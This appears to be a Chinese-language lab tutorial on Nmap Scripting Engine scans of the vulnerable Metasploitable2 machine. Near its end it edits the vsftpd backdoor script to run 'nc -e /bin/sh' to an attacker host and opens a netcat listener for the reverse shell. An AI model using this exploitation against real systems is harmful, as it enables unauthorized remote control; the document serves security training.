📜  如何在 Linux 中使用 Nmap 脚本引擎 (NSE) 脚本?

📅  最后修改于: 2021-10-28 02:49:09             🧑  作者: Mango

Nmap 或 Network Mapper 是一种开源工具,用于发现计算机网络上的主机和服务。它是有史以来最强大、最灵活的端口扫描器之一。要在任何操作系统(例如 Ubuntu 或 Kali Linux)上安装 Nmap,您可以使用该命令。由于许多可用的 NSE 脚本的可用性,它非常灵活。 NSE 代表 Nmap 脚本引擎。为了理解 Nmap 和 NSE 的概念,让我们举个例子。对于此任务,我们将使用名为 metasploitable2 的易受攻击的机器。它本质上是非常脆弱的。黑客攻击有几个阶段,最重要的步骤之一是端口扫描。现在要扫描 metasploitable2,我们需要一个端口扫描工具,在这种情况下我们使用的是 Nmap。

nmap 脚本引擎

metasploitable 2的Nmap扫描结果

使用 Nmap 脚本引擎(NSE)脚本:

1.我们可以使用命令发现网络中所有连接的设备

sudo netdiscover

2. netdiscover 的输出显示 VMware Inc mac 供应商是我们的 metasploitable 2 机器。现在我们可以开始 Nmap 扫描了。此处显示的 Nmap 命令是:

nmap -sV -T4  192.168.1.6

在哪里:

-sV用于服务版本检测。

-T4表示nmap扫描的速度。

3.获得的结果表示在 metasploitable2 上运行的服务和版本,但是如果我们想要更多关于目标的信息呢?这就是 NSE 有用的地方。 NSE 允许用户编写简单的脚本来自动执行各种网络任务。然后这些脚本以速度和效率并行执行。 NSE 脚本是用一种叫做Lua的编程语言编写的。

4.为了使用 NSE 脚本,我们使用标志-sC,或者我们可以使用–script来运行自定义脚本。

使用 NSE 脚本

使用默认脚本运行的 Nmap

5.默认服务扫描的Nmap命令是

nmap -sC -T4  192.168.147.132

6.现在,如果我们比较服务版本扫描( -sV )和默认脚本扫描的结果,会有很多差异。让我们以端口 21 ( FTP )为例。在服务版本扫描的情况下,我们只得到版本。在脚本扫描的情况下,它检测到也允许匿名登录,并且用lua编写的脚本尝试匿名登录以验证是否可以。脚本扫描的问题在于它们有时本质上是侵入性的。这意味着脚本试图直接与目标交互,防火墙和 IDS 可能会阻止您的请求,但 Nmap 非常强大,它可以通过绕过过滤器来执行扫描。 -sC等效于–script=default

7. Nmap 有一组脚本,它们被归为default、safe和其他类别。当您使用标志-sC标志并且当 Nmap 发现一个端口时,它将运行一组默认为该端口的脚本并返回结果。这就是两种情况下结果不同的原因,当使用-sC标志本身时,有许多脚本可用。

列出 NSE 脚本

NSE 脚本的位置

8. nmap 的脚本位于/usr/share/nmap/scripts/ 。有超过 600 个 NSE 脚本可用于由开源社区创建的不同端口。您可以使用以下命令更新 NSE 脚本:

nmap --script-updatedb

检查端口的所有可用脚本。

9.如果我们想检查可用脚本,我们可以 grep 结果以查看端口的可用脚本。

10. ftp-anon.nse是 NSE 脚本,用于检测 FTP 服务器中的匿名登录。此脚本是端口 21 的默认脚本的一部分。这就是我们在使用-sC标志时获得匿名登录允许结果的原因。

ftp-anon.nse NSE

使用单个脚本运行的 Nmap 来检查是否启用了匿名登录

11. Nmap 脚本非常强大,它们可以帮助您在目标机器上创建一个 shell。

Nmap 检测 RCE

12.我们可以看到 Nmap 仅仅通过运行一个脚本就能够识别目标机器上的命令注入或RCE (远程代码执行)。 Nmap 尝试执行 ID 命令,结果返回为 root 用户执行的命令。因此,Nmap 确认了命令注入错误的存在。 Nmap 中的许多脚本都支持传递参数。我们也可以仅通过 Nmap NSE 脚本获得一个反向 shell,但是我们需要知道如何传递或如何使用该函数的脚本 Nmap 提供了一个帮助选项。

用 NSE 识别 RCE

ftp-vsftpd-backdoor.nse 脚本的帮助菜单

13.从帮助菜单我们知道我们可以编辑ftp-vsftpd-backdoor.nse脚本并将默认命令更改为所需的Linux命令以获得反向shell。

ftp-vsftpd-backdoor.nse

在 vim 中打开的后门脚本替换 id(默认)命令以获取反向 shell

14.下面提到的命令将/bin/sh发送到 192.168.147.131 的 1234 端口(这是我们的攻击机器)。当脚本在 metasploitable 2 上执行时,它会将反向 shell 返回到我们的机器。

nc -e /bin/sh 192.168.147.131 1234
使用 NSe 反向外壳

执行 Nmap 脚本,我们在攻击机器上获得了一个反向 shell。

15.使用nmap监听端口

nc -nvlp 1234

其中, -lp代表侦听端口 1234

执行命令hostname && id 验证机器

16.您还可以通过“ theportname-* ”运行特定端口的所有脚本

nmap -p 21 192.168.147.132 --script "ftp-*"

在这种情况下,我们正在扫描端口 21,即 ftp,因此我们将“ ftp-* ”作为参数传递来代替脚本。